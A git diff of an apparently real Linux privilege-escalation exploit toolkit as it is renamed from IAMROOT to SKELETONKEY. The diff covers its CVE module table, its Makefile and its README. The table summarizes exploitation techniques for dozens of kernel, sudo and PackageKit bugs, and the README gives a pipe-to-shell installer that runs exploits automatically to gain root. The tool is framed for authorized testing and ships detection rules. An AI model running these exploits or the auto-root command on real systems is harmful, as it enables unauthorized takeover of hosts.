 | CVE-2023-3269 | StackRot — maple-tree VMA-split UAF | LPE (kernel R/W via maple node use-after-RCU) | mainline 6.4-rc4 (Jul 2023) | `stackrot` | 🟡 | Two-thread race driver (MAP_GROWSDOWN + mremap rotation vs fork+fault) with cpu pinning + 3 s budget; kmalloc-192 spray for anon_vma/anon_vma_chain; race-iteration + signal breadcrumb. Honest reliability note in module header: **~<1% race-win/run on a vulnerable kernel** — the public PoC averages minutes-to-hours and needs a much wider VMA staging matrix to be reliable. Useful as a "is the maple-tree path reachable here?" probe. Branch backports: 6.4.4 / 6.3.13 / 6.1.37. |
-| CVE-2020-14386 | AF_PACKET tpacket_rcv VLAN integer underflow | LPE (heap OOB write via crafted frame) | mainline 5.9 (Sep 2020) | `af_packet2` | 🟡 | Sibling of CVE-2017-7308; tp_reserve underflow + sendmmsg skb spray + slab-delta witness. PRIMITIVE-DEMO scope (no cred overwrite). Branch backports: 5.8.7 / 5.7.16 / 5.4.62 / 4.19.143 / 4.14.197 / 4.9.235. Or Cohen's disclosure. Shares `iamroot-af-packet` audit key with CVE-2017-7308. |
+| CVE-2020-14386 | AF_PACKET tpacket_rcv VLAN integer underflow | LPE (heap OOB write via crafted frame) | mainline 5.9 (Sep 2020) | `af_packet2` | 🟡 | Sibling of CVE-2017-7308; tp_reserve underflow + sendmmsg skb spray + slab-delta witness. PRIMITIVE-DEMO scope (no cred overwrite). Branch backports: 5.8.7 / 5.7.16 / 5.4.62 / 4.19.143 / 4.14.197 / 4.9.235. Or Cohen's disclosure. Shares `skeletonkey-af-packet` audit key with CVE-2017-7308. |
 | CVE-2023-32233 | nf_tables anonymous-set UAF | LPE (kernel UAF in nft_set transaction) | mainline 6.4-rc4 (May 2023) | `nft_set_uaf` | 🟡 | Sondej+Krysiuk. Hand-rolled nfnetlink batch (NEWTABLE → NEWCHAIN → NEWSET(ANON\|EVAL) → NEWRULE(lookup) → DELSET → DELRULE) drives the deactivation skip; cg-512 msg_msg cross-cache spray. Branch backports: 4.19.283 / 5.4.243 / 5.10.180 / 5.15.111 / 6.1.28 / 6.2.15 / 6.3.2. --full-chain forges freed-set with `set->data = kaddr`. |
 | CVE-2023-4622 | AF_UNIX garbage-collector race UAF | LPE (slab UAF, plain unprivileged) | mainline 6.6-rc1 (Aug 2023) | `af_unix_gc` | 🟡 | Lin Ma. Two-thread race driver: SCM_RIGHTS cycle vs unix_gc trigger; kmalloc-512 (SLAB_TYPESAFE_BY_RCU) refill via msg_msg. **Widest deployment of any module — bug exists since 2.x.** No userns required. Branch backports: 4.14.326 / 4.19.295 / 5.4.257 / 5.10.197 / 5.15.130 / 6.1.51 / 6.5.0. |
 | CVE-2022-25636 | nft_fwd_dup_netdev_offload heap OOB | LPE (kernel R/W via offload action[] OOB) | mainline 5.17 / 5.16.11 (Feb 2022) | `nft_fwd_dup` | 🟡 | Aaron Adams (NCC). NFT_CHAIN_HW_OFFLOAD chain + 16 immediates + fwd writes past action.entries[1]. msg_msg kmalloc-512 spray. Branch backports: 5.4.181 / 5.10.102 / 5.15.25 / 5.16.11. |
 | CVE-2023-0179 | nft_payload set-id memory corruption | LPE (regs->data[] OOB R/W) | mainline 6.2-rc4 / 6.1.6 (Jan 2023) | `nft_payload` | 🟡 | Davide Ornaghi. NFTA_SET_DESC variable-length element + NFTA_SET_ELEM_EXPRESSIONS payload-set whose verdict.code drives the OOB. Dual cg-96 + 1k spray. Branch backports: 4.14.302 / 4.19.269 / 5.4.229 / 5.10.163 / 5.15.88 / 6.1.6. |
-| CVE-TBD | Fragnesia (ESP shared-frag in-place encrypt) | LPE (page-cache write) | mainline TBD | `_stubs/fragnesia_TBD` | ⚪ | Stub. Per `findings/audit_leak_write_modprobe_backups_2026-05-16.md`, requires CAP_NET_ADMIN in userns netns — may or may not be in-scope depending on target environment. |
+| CVE-2021-3156 | sudo Baron Samedit — `sudoedit -s` heap overflow | LPE (userspace setuid sudo) | sudo 1.9.5p2 (Jan 2021) | `sudo_samedit` | 🟡 | Qualys Baron Samedit. Heap overflow via `sudoedit -s '\'` escaped-backslash parsing. Affects sudo 1.8.2 ≤ V ≤ 1.9.5p1. Heap-tuned exploit — may crash sudo on a mismatched layout. Ships auditd + sigma rules. |
+| CVE-2021-33909 | Sequoia — `seq_file` size_t overflow → kernel stack OOB | LPE (kernel stack OOB write) | mainline 5.13.4 / 5.10.52 / 5.4.134 (Jul 2021) | `sequoia` | 🟡 | Qualys Sequoia. `size_t`-to-`int` conversion in `seq_file` drives an OOB write off the kernel stack via a deeply-nested directory mount. Primitive-only — fires the overflow + records a witness; no portable cred chain. Branch backports: 5.13.4 / 5.10.52 / 5.4.134. Ships auditd rule. |
+| CVE-2023-22809 | sudoedit `EDITOR`/`VISUAL` `--` argv escape | LPE (userspace setuid sudoedit) | sudo 1.9.12p2 (Jan 2023) | `sudoedit_editor` | 🟢 | Structural argv-injection — an extra `--` in `EDITOR`/`VISUAL` makes setuid `sudoedit` open an attacker-chosen file as root. No kernel state, no offsets, no race. Affects sudo 1.8.0 ≤ V < 1.9.12p2. Ships auditd + sigma rules. |
+| CVE-2023-2008 | vmwgfx DRM buffer-object size-validation OOB | LPE (kernel R/W via kmalloc-512 OOB) | mainline 6.3-rc6 (Apr 2023) | `vmwgfx` | 🟡 | vmwgfx DRM `bo` size-validation gap → OOB write in kmalloc-512. Affects 4.0 ≤ K < 6.3-rc6 on hosts with the `vmwgfx` module loaded (VMware guests). Primitive-only — fires the OOB + slab witness; no cred chain. Branch backports: 6.2.10 / 6.1.23. Ships auditd rule. |
+| CVE-2026-31635 | DirtyDecrypt / DirtyCBC — rxgk missing-COW in-place decrypt | LPE (page-cache write into a setuid binary) | mainline Linux 7.0 (commit `a2567217ade970ecc458144b6be469bc015b23e5`) | `dirtydecrypt` | 🟡 | **Ported from the public V12 PoC, exploit body not yet VM-verified.** Sibling of Copy Fail / Dirty Frag in the rxgk (AFS rxrpc encryption) subsystem. `fire()` sliding-window page-cache write, ~256 fires/byte; rewrites the first 120 bytes of `/usr/bin/su` with a setuid-shell ELF. detect() is version-pinned: kernels < 7.0 predate the vulnerable rxgk code (Debian: `<not-affected, vulnerable code not present>` for 5.10/6.1/6.12); kernels ≥ 7.0 have the fix. `--active` probe fires the primitive at a `/tmp` sentinel for empirical override. x86_64. |
+| CVE-2026-46300 | Fragnesia — XFRM ESP-in-TCP `skb_try_coalesce` SHARED_FRAG loss | LPE (page-cache write into a setuid binary) | mainline 7.0.9; older Debian-stable branches still unfixed as of 2026-05-22 | `fragnesia` | 🟡 | **Ported from the public V12 PoC, exploit body not yet VM-verified.** Latent bug exposed by the Dirty Frag fix (`f4c50a4034e6`). AF_ALG GCM keystream table + userns/netns + XFRM ESP-in-TCP splice trigger pair; rewrites the first 192 bytes of `/usr/bin/su`. Needs `CONFIG_INET_ESPINTCP` + unprivileged userns (the in-scope question the old `_stubs/fragnesia_TBD` raised — resolved: ships, reports PRECOND_FAIL when the userns gate is closed). detect() is version-pinned at 7.0.9; older branches that haven't backported yet are flagged VULNERABLE on the version check (override empirically via `--active`). PoC's ANSI TUI dropped in the port. x86_64. |
+| CVE-2026-41651 | Pack2TheRoot — PackageKit `InstallFiles` TOCTOU | LPE (userspace D-Bus daemon → `.deb` postinst as root) | PackageKit 1.3.5 (commit `76cfb675`, 2026-04-22) | `pack2theroot` | 🟡 | **Ported from the public Vozec PoC, not yet VM-verified.** Two back-to-back `InstallFiles` D-Bus calls — first `SIMULATE` (polkit bypass + queues a GLib idle), then immediately `NONE` + malicious `.deb` (overwrites the cached flags before the idle fires). GLib priority ordering makes the overwrite deterministic, not a race. Disclosure by **Deutsche Telekom security**. Affects PackageKit 1.0.2 → 1.3.4 — default-enabled on Ubuntu Desktop, Debian, Fedora, Rocky/RHEL via Cockpit. `detect()` reads `VersionMajor/Minor/Micro` over D-Bus → high-confidence verdict (vs. precondition-only for dirtydecrypt/fragnesia). Debian-family only (PoC's built-in `.deb` builder). Needs `libglib2.0-dev` at build time; Makefile autodetects via `pkg-config gio-2.0` and falls through to a stub when absent. |
 
 ## Operations supported per module
 
@@ -91,6 +124,13 @@ Symbols: ✓ = supported, — = not applicable / no automated path.
 | af_unix_gc | ✓ | ✓ (race) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd) |
 | nft_fwd_dup | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd) |
 | nft_payload | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd + sigma) |
+| sudo_samedit | ✓ | ✓ (primitive) | — (upgrade sudo) | ✓ (crumb nuke) | ✓ (auditd + sigma) |
+| sequoia | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (nested-tree + mount teardown) | ✓ (auditd) |
+| sudoedit_editor | ✓ | ✓ | — (upgrade sudo) | ✓ (revert written file) | ✓ (auditd + sigma) |
+| vmwgfx | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (log unlink) | ✓ (auditd) |
+| dirtydecrypt | ✓ (+ `--active`) | ✓ (ported) | — (upgrade kernel) | ✓ (evict page cache) | ✓ (auditd + sigma) |
+| fragnesia | ✓ (+ `--active`) | ✓ (ported) | — (upgrade kernel) | ✓ (evict page cache) | ✓ (auditd + sigma) |
+| pack2theroot | ✓ (PK version via D-Bus) | ✓ (ported) | — (upgrade PackageKit ≥ 1.3.5) | ✓ (rm /tmp + `dpkg -r`) | ✓ (auditd + sigma) |
 
 ## Pipeline for additions
 
@@ -113,7 +153,7 @@ the relevant distro drops out of the "WORKING" list for that module.
 ## Why we exclude some things
 
 - **0-days the maintainer found themselves**: those go through
-  responsible disclosure first, then enter IAMROOT after upstream patch
+  responsible disclosure first, then enter SKELETONKEY after upstream patch
 - **kCTF VRP submissions in flight**: same as above; disclosure
   before bundling
 - **Hardware-specific side channels** (Spectre/Meltdown variants):

Makefile

@@ -1,15 +1,15 @@
-# IAMROOT — top-level Makefile (Phase 1)
+# SKELETONKEY — top-level Makefile (Phase 1)
 #
-# Builds one binary `iamroot` linked from:
+# Builds one binary `skeletonkey` linked from:
 #   - core/         module interface + registry
 #   - modules/<f>/  one family per subdir, contributes objects to the
 #                   final binary
-#   - iamroot.c     top-level dispatcher
+#   - skeletonkey.c     top-level dispatcher
 #
 # Each family is currently flat (Phase 1 keeps copy_fail_family's
 # absorbed DIRTYFAIL source in modules/copy_fail_family/src/).
 # Future families register the same way: add their register_* call to
-# iamroot.c's main() and add their src dir to MODULE_DIRS below.
+# skeletonkey.c's main() and add their src dir to MODULE_DIRS below.
 
 CC      ?= gcc
 CFLAGS  ?= -O2 -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith \
@@ -17,126 +17,265 @@ CFLAGS  ?= -O2 -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith \
 LDFLAGS ?=
 
 BUILD   := build
-BIN     := iamroot
+BIN     := skeletonkey
 
 # core/
-CORE_SRCS := core/registry.c core/kernel_range.c core/offsets.c core/finisher.c
+CORE_SRCS := core/registry.c core/kernel_range.c core/offsets.c core/finisher.c \
+             core/host.c core/cve_metadata.c core/verifications.c
 CORE_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CORE_SRCS))
 
+# Register-every-module helper. Lives in its own translation unit so
+# the kernel_range unit-test binary can link just CORE_OBJS without
+# pulling in every module symbol via registry_all.o.
+REGISTRY_ALL_OBJ := $(BUILD)/core/registry_all.o
+
 # Family: copy_fail_family
-# All DIRTYFAIL .c files contribute; iamroot_modules.c is the bridge.
+# All DIRTYFAIL .c files contribute; skeletonkey_modules.c is the bridge.
 CFF_DIR  := modules/copy_fail_family
-CFF_SRCS := $(wildcard $(CFF_DIR)/src/*.c) $(CFF_DIR)/iamroot_modules.c
-# Filter out the original dirtyfail.c (its main() conflicts with iamroot.c's main).
+CFF_SRCS := $(wildcard $(CFF_DIR)/src/*.c) $(CFF_DIR)/skeletonkey_modules.c
+# Filter out the original dirtyfail.c (its main() conflicts with skeletonkey.c's main).
 CFF_SRCS := $(filter-out $(CFF_DIR)/src/dirtyfail.c, $(CFF_SRCS))
 CFF_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CFF_SRCS))
 
 # Family: dirty_pipe (single-CVE family, no shared infrastructure)
 DP_DIR   := modules/dirty_pipe_cve_2022_0847
-DP_SRCS  := $(DP_DIR)/iamroot_modules.c
+DP_SRCS  := $(DP_DIR)/skeletonkey_modules.c
 DP_OBJS  := $(patsubst %.c,$(BUILD)/%.o,$(DP_SRCS))
 
 # Family: entrybleed (single-CVE family, x86_64 only)
 EB_DIR   := modules/entrybleed_cve_2023_0458
-EB_SRCS  := $(EB_DIR)/iamroot_modules.c
+EB_SRCS  := $(EB_DIR)/skeletonkey_modules.c
 EB_OBJS  := $(patsubst %.c,$(BUILD)/%.o,$(EB_SRCS))
 
 # Family: pwnkit (userspace polkit bug, not kernel)
 PK_DIR   := modules/pwnkit_cve_2021_4034
-PK_SRCS  := $(PK_DIR)/iamroot_modules.c
+PK_SRCS  := $(PK_DIR)/skeletonkey_modules.c
 PK_OBJS  := $(patsubst %.c,$(BUILD)/%.o,$(PK_SRCS))
 
 # Family: nf_tables (CVE-2024-1086)
 NFT_DIR  := modules/nf_tables_cve_2024_1086
-NFT_SRCS := $(NFT_DIR)/iamroot_modules.c
+NFT_SRCS := $(NFT_DIR)/skeletonkey_modules.c
 NFT_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NFT_SRCS))
 
 # Family: overlayfs (CVE-2021-3493)
 OVL_DIR  := modules/overlayfs_cve_2021_3493
-OVL_SRCS := $(OVL_DIR)/iamroot_modules.c
+OVL_SRCS := $(OVL_DIR)/skeletonkey_modules.c
 OVL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(OVL_SRCS))
 
 # Family: cls_route4 (CVE-2022-2588)
 CR4_DIR  := modules/cls_route4_cve_2022_2588
-CR4_SRCS := $(CR4_DIR)/iamroot_modules.c
+CR4_SRCS := $(CR4_DIR)/skeletonkey_modules.c
 CR4_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CR4_SRCS))
 
 # Family: dirty_cow (CVE-2016-5195) — requires -pthread
 DCOW_DIR  := modules/dirty_cow_cve_2016_5195
-DCOW_SRCS := $(DCOW_DIR)/iamroot_modules.c
+DCOW_SRCS := $(DCOW_DIR)/skeletonkey_modules.c
 DCOW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(DCOW_SRCS))
 
 # Family: ptrace_traceme (CVE-2019-13272)
 PTM_DIR  := modules/ptrace_traceme_cve_2019_13272
-PTM_SRCS := $(PTM_DIR)/iamroot_modules.c
+PTM_SRCS := $(PTM_DIR)/skeletonkey_modules.c
 PTM_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PTM_SRCS))
 
 # Family: netfilter_xtcompat (CVE-2021-22555)
 NXC_DIR  := modules/netfilter_xtcompat_cve_2021_22555
-NXC_SRCS := $(NXC_DIR)/iamroot_modules.c
+NXC_SRCS := $(NXC_DIR)/skeletonkey_modules.c
 NXC_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NXC_SRCS))
 
 # Family: af_packet (CVE-2017-7308)
 AFP_DIR  := modules/af_packet_cve_2017_7308
-AFP_SRCS := $(AFP_DIR)/iamroot_modules.c
+AFP_SRCS := $(AFP_DIR)/skeletonkey_modules.c
 AFP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(AFP_SRCS))
 
 # Family: fuse_legacy (CVE-2022-0185)
 FUL_DIR  := modules/fuse_legacy_cve_2022_0185
-FUL_SRCS := $(FUL_DIR)/iamroot_modules.c
+FUL_SRCS := $(FUL_DIR)/skeletonkey_modules.c
 FUL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(FUL_SRCS))
 
 # Family: stackrot (CVE-2023-3269)
 STR_DIR  := modules/stackrot_cve_2023_3269
-STR_SRCS := $(STR_DIR)/iamroot_modules.c
+STR_SRCS := $(STR_DIR)/skeletonkey_modules.c
 STR_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(STR_SRCS))
 
 # Family: af_packet2 (CVE-2020-14386) — same family as af_packet
 AFP2_DIR  := modules/af_packet2_cve_2020_14386
-AFP2_SRCS := $(AFP2_DIR)/iamroot_modules.c
+AFP2_SRCS := $(AFP2_DIR)/skeletonkey_modules.c
 AFP2_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(AFP2_SRCS))
 
 # Family: cgroup_release_agent (CVE-2022-0492)
 CRA_DIR  := modules/cgroup_release_agent_cve_2022_0492
-CRA_SRCS := $(CRA_DIR)/iamroot_modules.c
+CRA_SRCS := $(CRA_DIR)/skeletonkey_modules.c
 CRA_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CRA_SRCS))
 
 # Family: overlayfs_setuid (CVE-2023-0386) — joins overlayfs family
 OSU_DIR  := modules/overlayfs_setuid_cve_2023_0386
-OSU_SRCS := $(OSU_DIR)/iamroot_modules.c
+OSU_SRCS := $(OSU_DIR)/skeletonkey_modules.c
 OSU_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(OSU_SRCS))
 
 # Family: nft_set_uaf (CVE-2023-32233)
 NSU_DIR  := modules/nft_set_uaf_cve_2023_32233
-NSU_SRCS := $(NSU_DIR)/iamroot_modules.c
+NSU_SRCS := $(NSU_DIR)/skeletonkey_modules.c
 NSU_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NSU_SRCS))
 
 # Family: af_unix_gc (CVE-2023-4622)
 AUG_DIR  := modules/af_unix_gc_cve_2023_4622
-AUG_SRCS := $(AUG_DIR)/iamroot_modules.c
+AUG_SRCS := $(AUG_DIR)/skeletonkey_modules.c
 AUG_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(AUG_SRCS))
 
 # Family: nft_fwd_dup (CVE-2022-25636)
 NFD_DIR  := modules/nft_fwd_dup_cve_2022_25636
-NFD_SRCS := $(NFD_DIR)/iamroot_modules.c
+NFD_SRCS := $(NFD_DIR)/skeletonkey_modules.c
 NFD_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NFD_SRCS))
 
 # Family: nft_payload (CVE-2023-0179)
 NPL_DIR  := modules/nft_payload_cve_2023_0179
-NPL_SRCS := $(NPL_DIR)/iamroot_modules.c
+NPL_SRCS := $(NPL_DIR)/skeletonkey_modules.c
 NPL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NPL_SRCS))
 
+SAM_DIR  := modules/sudo_samedit_cve_2021_3156
+SAM_SRCS := $(SAM_DIR)/skeletonkey_modules.c
+SAM_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SAM_SRCS))
+
+SEQ_DIR  := modules/sequoia_cve_2021_33909
+SEQ_SRCS := $(SEQ_DIR)/skeletonkey_modules.c
+SEQ_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SEQ_SRCS))
+
+SUE_DIR  := modules/sudoedit_editor_cve_2023_22809
+SUE_SRCS := $(SUE_DIR)/skeletonkey_modules.c
+SUE_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SUE_SRCS))
+
+VMW_DIR  := modules/vmwgfx_cve_2023_2008
+VMW_SRCS := $(VMW_DIR)/skeletonkey_modules.c
+VMW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(VMW_SRCS))
+
+# Family: dirtydecrypt (CVE-2026-31635) — rxgk page-cache write
+DDC_DIR  := modules/dirtydecrypt_cve_2026_31635
+DDC_SRCS := $(DDC_DIR)/skeletonkey_modules.c
+DDC_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(DDC_SRCS))
+
+# Family: fragnesia (CVE-2026-46300) — XFRM ESP-in-TCP page-cache write
+FGN_DIR  := modules/fragnesia_cve_2026_46300
+FGN_SRCS := $(FGN_DIR)/skeletonkey_modules.c
+FGN_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(FGN_SRCS))
+
+# Family: pack2theroot (CVE-2026-41651) — PackageKit TOCTOU userspace LPE.
+# Needs GLib/GIO for D-Bus; the build autodetects via `pkg-config gio-2.0`.
+# When absent (e.g. no libglib2.0-dev on the build host), the module
+# compiles as a stub that returns PRECOND_FAIL with a hint to install
+# the dev package and rebuild.
+P2TR_DIR  := modules/pack2theroot_cve_2026_41651
+P2TR_SRCS := $(P2TR_DIR)/skeletonkey_modules.c
+P2TR_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(P2TR_SRCS))
+
+P2TR_GIO_OK := $(shell pkg-config --exists gio-2.0 2>/dev/null && echo 1 || echo 0)
+ifeq ($(P2TR_GIO_OK),1)
+  P2TR_CFLAGS := $(shell pkg-config --cflags gio-2.0) -DPACK2TR_HAVE_GIO
+  P2TR_LIBS   := $(shell pkg-config --libs gio-2.0)
+else
+  P2TR_CFLAGS :=
+  P2TR_LIBS   :=
+endif
+
+# Per-object CFLAGS for the pack2theroot translation unit (GLib include
+# paths). Target-specific vars are scoped to this object's recipe.
+$(P2TR_OBJS): CFLAGS += $(P2TR_CFLAGS)
+
+# Family: sudo_chwoot (CVE-2025-32463) — sudo --chroot NSS injection
+SCHW_DIR  := modules/sudo_chwoot_cve_2025_32463
+SCHW_SRCS := $(SCHW_DIR)/skeletonkey_modules.c
+SCHW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SCHW_SRCS))
+
+# Family: udisks_libblockdev (CVE-2025-6019) — SUID-on-mount via polkit allow_active
+UDB_DIR  := modules/udisks_libblockdev_cve_2025_6019
+UDB_SRCS := $(UDB_DIR)/skeletonkey_modules.c
+UDB_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(UDB_SRCS))
+
+# Family: pintheft (CVE-2026-43494) — RDS zerocopy double-free (V12 Security)
+PTH_DIR  := modules/pintheft_cve_2026_43494
+PTH_SRCS := $(PTH_DIR)/skeletonkey_modules.c
+PTH_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PTH_SRCS))
+
+# ── v0.9.0 gap-fillers ─────────────────────────────────────────────
+
+# CVE-2018-14634 Mutagen Astronomy — create_elf_tables() int wrap
+MUT_DIR  := modules/mutagen_astronomy_cve_2018_14634
+MUT_SRCS := $(MUT_DIR)/skeletonkey_modules.c
+MUT_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(MUT_SRCS))
+
+# CVE-2019-14287 sudo Runas -u#-1 underflow
+SRN_DIR  := modules/sudo_runas_neg1_cve_2019_14287
+SRN_SRCS := $(SRN_DIR)/skeletonkey_modules.c
+SRN_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SRN_SRCS))
+
+# CVE-2020-29661 TIOCSPGRP UAF race
+TIO_DIR  := modules/tioscpgrp_cve_2020_29661
+TIO_SRCS := $(TIO_DIR)/skeletonkey_modules.c
+TIO_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(TIO_SRCS))
+
+# CVE-2024-50264 AF_VSOCK connect-race UAF (Pwn2Own 2024)
+VSK_DIR  := modules/vsock_uaf_cve_2024_50264
+VSK_SRCS := $(VSK_DIR)/skeletonkey_modules.c
+VSK_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(VSK_SRCS))
+
+# CVE-2024-26581 nft_pipapo destroy-race (Notselwyn II)
+PIP_DIR  := modules/nft_pipapo_cve_2024_26581
+PIP_SRCS := $(PIP_DIR)/skeletonkey_modules.c
+PIP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PIP_SRCS))
+
 # Top-level dispatcher
-TOP_OBJ  := $(BUILD)/iamroot.o
+TOP_OBJ  := $(BUILD)/skeletonkey.o
 
-ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) $(OVL_OBJS) $(CR4_OBJS) $(DCOW_OBJS) $(PTM_OBJS) $(NXC_OBJS) $(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) $(OSU_OBJS) $(NSU_OBJS) $(AUG_OBJS) $(NFD_OBJS) $(NPL_OBJS)
+# All module objects in one var so both the main binary and the test
+# binary can re-use the list without duplicating the long enumeration.
+MODULE_OBJS := $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) \
+               $(OVL_OBJS) $(CR4_OBJS) $(DCOW_OBJS) $(PTM_OBJS) $(NXC_OBJS) \
+               $(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) \
+               $(OSU_OBJS) $(NSU_OBJS) $(AUG_OBJS) $(NFD_OBJS) $(NPL_OBJS) \
+               $(SAM_OBJS) $(SEQ_OBJS) $(SUE_OBJS) $(VMW_OBJS) \
+               $(DDC_OBJS) $(FGN_OBJS) $(P2TR_OBJS) \
+               $(SCHW_OBJS) $(UDB_OBJS) $(PTH_OBJS) \
+               $(MUT_OBJS) $(SRN_OBJS) $(TIO_OBJS) $(VSK_OBJS) $(PIP_OBJS)
 
-.PHONY: all clean debug static help
+ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(REGISTRY_ALL_OBJ) $(MODULE_OBJS)
+
+# Tests — `make test` builds and runs both unit-test binaries.
+#
+#   skeletonkey-test          — detect() integration tests against
+#                                synthetic host fingerprints. Links
+#                                the full module corpus.
+#   skeletonkey-test-kr       — pure unit tests for kernel_range +
+#                                host comparison helpers. Tiny binary
+#                                (core/ only); runs cross-platform.
+TEST_DIR  := tests
+TEST_SRCS := $(TEST_DIR)/test_detect.c
+TEST_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(TEST_SRCS))
+TEST_BIN  := skeletonkey-test
+TEST_ALL_OBJS := $(TEST_OBJS) $(CORE_OBJS) $(REGISTRY_ALL_OBJ) $(MODULE_OBJS)
+
+TEST_KR_SRCS := $(TEST_DIR)/test_kernel_range.c
+TEST_KR_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(TEST_KR_SRCS))
+TEST_KR_BIN  := skeletonkey-test-kr
+TEST_KR_ALL_OBJS := $(TEST_KR_OBJS) $(CORE_OBJS)
+
+.PHONY: all clean debug static help test
 
 all: $(BIN)
 
 $(BIN): $(ALL_OBJS)
-	$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread
+	$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread $(P2TR_LIBS)
+
+$(TEST_BIN): $(TEST_ALL_OBJS)
+	$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread $(P2TR_LIBS)
+
+$(TEST_KR_BIN): $(TEST_KR_ALL_OBJS)
+	$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^
+
+test: $(TEST_BIN) $(TEST_KR_BIN)
+	@echo "[*] running kernel_range unit tests ($(TEST_KR_BIN))"
+	./$(TEST_KR_BIN)
+	@echo
+	@echo "[*] running detect() integration tests ($(TEST_BIN))"
+	./$(TEST_BIN)
 
 # Generic compile: any .c → corresponding .o under build/
 $(BUILD)/%.o: %.c
@@ -150,13 +289,14 @@ static: LDFLAGS += -static
 static: clean $(BIN)
 
 clean:
-	rm -rf $(BUILD) $(BIN)
+	rm -rf $(BUILD) $(BIN) $(TEST_BIN) $(TEST_KR_BIN)
 
 help:
 	@echo "Targets:"
-	@echo "  make           build optimized iamroot binary"
+	@echo "  make           build optimized skeletonkey binary"
 	@echo "  make debug     build with -O0 -g3"
 	@echo "  make static    build a fully static binary"
+	@echo "  make test      build + run the detect() unit test suite"
 	@echo "  make clean     remove build artifacts"
 	@echo ""
 	@echo "Per-module (legacy) — not built by default:"

README.md

@@ -1,164 +1,278 @@
-# IAMROOT
+# SKELETONKEY
 
-> A curated, actively-maintained corpus of Linux kernel LPE exploits —
-> bundled with their detection signatures, patch status, and version
-> ranges. Run it on a system you own (or are authorized to test) and
-> it tells you which historical and recent CVEs that system is still
-> vulnerable to, and — with explicit confirmation — gets you root.
+[![Latest release](https://img.shields.io/github/v/release/KaraZajac/SKELETONKEY?label=release)](https://github.com/KaraZajac/SKELETONKEY/releases/latest)
+[![License: MIT](https://img.shields.io/badge/license-MIT-blue.svg)](LICENSE)
+[![Modules](https://img.shields.io/badge/CVEs-28%20VM--verified%20%2F%2034-brightgreen.svg)](docs/VERIFICATIONS.jsonl)
+[![Platform: Linux](https://img.shields.io/badge/platform-linux-lightgrey.svg)](#)
 
-```
- ██╗ █████╗ ███╗   ███╗██████╗  ██████╗  ██████╗ ████████╗
- ██║██╔══██╗████╗ ████║██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝
- ██║███████║██╔████╔██║██████╔╝██║   ██║██║   ██║   ██║
- ██║██╔══██║██║╚██╔╝██║██╔══██╗██║   ██║██║   ██║   ██║
- ██║██║  ██║██║ ╚═╝ ██║██║  ██║╚██████╔╝╚██████╔╝   ██║
- ╚═╝╚═╝  ╚═╝╚═╝     ╚═╝╚═╝  ╚═╝ ╚═════╝  ╚═════╝    ╚═╝
+> **One curated binary. 39 Linux LPE modules covering 34 CVEs from 2016 → 2026.
+> Every year 2016 → 2026 covered. 28 confirmed end-to-end against real Linux
+> VMs via `tools/verify-vm/`. Detection rules in the box. One command picks
+> the safest one and runs it.**
+
+```bash
+curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
+  && skeletonkey --auto --i-know
 ```
 
-> ⚠️ **Authorized testing only.** IAMROOT is a research and red-team
-> tool. By using it you assert you have explicit authorization to test
-> the target system. See [`docs/ETHICS.md`](docs/ETHICS.md).
+> ⚠️ **Authorized testing only.** SKELETONKEY runs real exploits. By
+> using it you assert you have explicit authorization to test the
+> target system. See [`docs/ETHICS.md`](docs/ETHICS.md).
+
+## Why use this
+
+Most Linux privesc tooling is broken in one of three ways:
+
+- **`linux-exploit-suggester` / `linpeas`** — tell you what *might*
